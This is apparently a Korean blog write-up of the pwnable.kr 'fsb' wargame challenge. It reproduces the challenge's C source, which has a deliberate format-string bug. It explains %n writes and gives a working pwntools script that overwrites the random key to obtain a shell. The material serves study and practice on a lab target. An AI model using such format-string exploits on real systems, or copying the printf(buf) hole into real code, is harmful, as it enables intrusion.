#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
int i;
char*** pargv = &argv;
char*** penvp = &envp;
char** arg;
char* c;
for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
*pargv=0;
*penvp=0;
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
printf("Wait a sec...\n");
sleep(3);
printf("key : \n");
read(0, buf2, 100);
unsigned long long pw = strtoull(buf2, 0, 10);
if(pw == key){
printf("Congratz!\n");
execve(args[0], args, 0);
return 0;
}
printf("Incorrect key \n");
return 0;
}
int main(int argc, char* argv[], char** envp){
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
alloca(0x12345 & key);
fsb(argv, envp); // exploit this format string bug!
return 0;
}
큰 카테고리가 바뀌었다. Rookiss!
근데 같은 rookiss 안에서도 문제 별로 배점 차이가 너무 많이 나서 순서대로 풀지 않고
점수 순으로 풀기로 했다.
우선 가장 낮은 점수인 fsb(20점)이다.
이름처럼 format string bug를 이용한 문제이고,
FSB는 pritnf("%s", str)의 형태가 아닌 printf(str)의 형태로 사용했을 때 발생하는 취약점으로
원래 printf의 형태는 서식 지정자를 통해서 다음에 올 인자 개수를 알려주고 이후에
인자를 주면 인자와 서식 지정자를 매칭 시키면서 출력 형태를 결정하는 함수이다.
그래서 char str[] = "%s";일 때 printf("%s", str)과 같은 식으로 호출해도
이미 한 번 스트링이다. 라고 인식을 한 상태라 그냥 %s가 출력되어버리는데 반해
처음부터 printf(str)로 하면, 그 뒤에 스택에 있는 인자를 %s에 인자라고 생각해버린다.
(32비트 기준, 64비트는 인자 register 순서에 따름)
FSB에서 가장 핵심이 되는 서식 지정자는 %n이라고 할 수 있는데,
이 전에 쓰인 글자수만큼 인자(주소)가 가리키는 곳에 넣는다.
인자로부터 값을 읽어오기만 하는 다른 서식 지정자와 다르게, 쓰기가 가능하므로 문제가 발생할 수 있다.
Give me ~ 출력과 입력 후
printf(buf)까지 진행 된 다음에 스택 상황이다.
노란색으로 체크된 부분이 fsb 함수의 EBP 값이고, 그 위에 빨간 색 두 줄의 주소가
EBP+0x8, EBP+0xC를 가리키고 있는 것을 알 수 있다.
fsb()에서 char*** pargv와 char*** penvp 지역변수로 fsb의 함수 인자의 주소를 받은 값이 저기에 위치하는 것이다.
이를 통해서 EBP+0x08값과 0x0C값을 덮을 수 있고, 다시 해당 값을 통해서 원하는 주소에 접근이 가능하다.
나는 random하게 할당되는 key 값을 덮어버리고, 덮은 값을 key로 입력해
쉘을 따냈다.
%x같은 거로 스택의 데이터를 leak한 뒤, 해당 주소와 연관지어서 fake EBP를 하는 식을 처음에 생각했는데,
자꾸 삽질하면서 스택 구간을 계속 보다보니, 고정적인 offset을 가지는 데이터가 있었고
확인 결과 EBP+0x8과 0xC의 값을 지역변수로 할당하면서 생긴 데이터라 이쪽으로 풀이를 선회했다.
이 뒤에는 offset만 잘 계산하면 되는데, %n이 출력한 문자수를 값으로 입력하는 거라... 계산 잘 하면서 하면 된다.
아 풀이 도중에 long long 타입으로 key가 선언되어 있는데, asm 계산 코드(그림2)를 보면
내가 입력한 값을 계산할 때
하위 4byte를 eax로, 상위 4byte를 edx로 옮긴 뒤에 (strtoull 후 자동으로 그렇게 들어감)
갑자기 mov edx, eax로 edx를 그냥 덮어버리고 sar edx, 0x1f를 한다.
그럼 결국 edx는 0x0000 0000이거나 0xffff ffff 둘 중에 하나밖에 안 되는 데다가
상위 4byte값은 따로 저장도 안 해놓는다.
?????
이렇게 해놓고 상위 4byte // 하위 4byte를 key와 각각 비교하는데,
%n을 원하는 스택 위치에서 사용하기 위해 스택 증가를 위한 서식 지정자들이 필요하고,
결국 무조건 무엇인가를 출력하게 되서 0x0000 0000을 입력할 수도 없고,
0xffff ffff로 입력값을 맞추는 것도 자꾸 오류가 나서 힘들었다.
그러다가 그냥 약간 엇갈려서 값을 덮는 식으로 상위 4바이트를 0x0000 0000으로 덮으면서 exploit할수 있었다.
다음은 exploit 코드이다.
from pwn import *
p = process("/home/fsb/fsb")
p.recvline()
#0x804a060 - 120 = 134520808 // 1234 : 4digits, next %n write 0x804a060 + 4 == 0x804a064
p.sendline("%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%134520808c%n1234%n")
p.recvline()
p.recvline()
#10 * 19 = 190 == 0xbe
p.sendline("%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%n%n")
p.recvline()
p.recvline()
#0x804a061 - 120 = 134520809
p.sendline("%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%134520809c%n1234123412341234123")
p.recvline()
p.recvline()
#10 * 19 = 190 == 0xbe
p.sendline("%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%n")
p.recvline()
p.recvline()
#0xbebe == 48830
p.sendline("48830")
p.interactive()
위 그림처럼 맨 처음에 key에 be 00 00 00 be 00 00 00이 들어가고
다시 64를 덮기 위해 61부터 be 00 00 00을 입력한다.
그럼 최종적으로 be be 00 00 ~이 되면서
저 이상한 연산은 무시해도 된다.
-------- 추가
흑흑 다른 분들의 풀이들을 보면 항상 내거가 제일 멍청해보인다.
%num$n을 사용하면 num번째 인자에 바로 접근이 가능하다고 한다.
처음보는 거다. 하나 배웠다.
GOT overwrite도 가능한 건 안 비밀...
지적 환영, 배우는 중
'Pwnable.kr' 카테고리의 다른 글
Pwnable.kr[echo1] (0) | 2019.09.14 |
---|---|
Pwnable.kr[ascii_easy] (0) | 2019.09.14 |
Pwnable.kr [horcruxes] (0) | 2019.05.17 |
Pwnable.kr [blukat] (0) | 2019.05.15 |
Pwnable.kr [unlink] (0) | 2019.05.14 |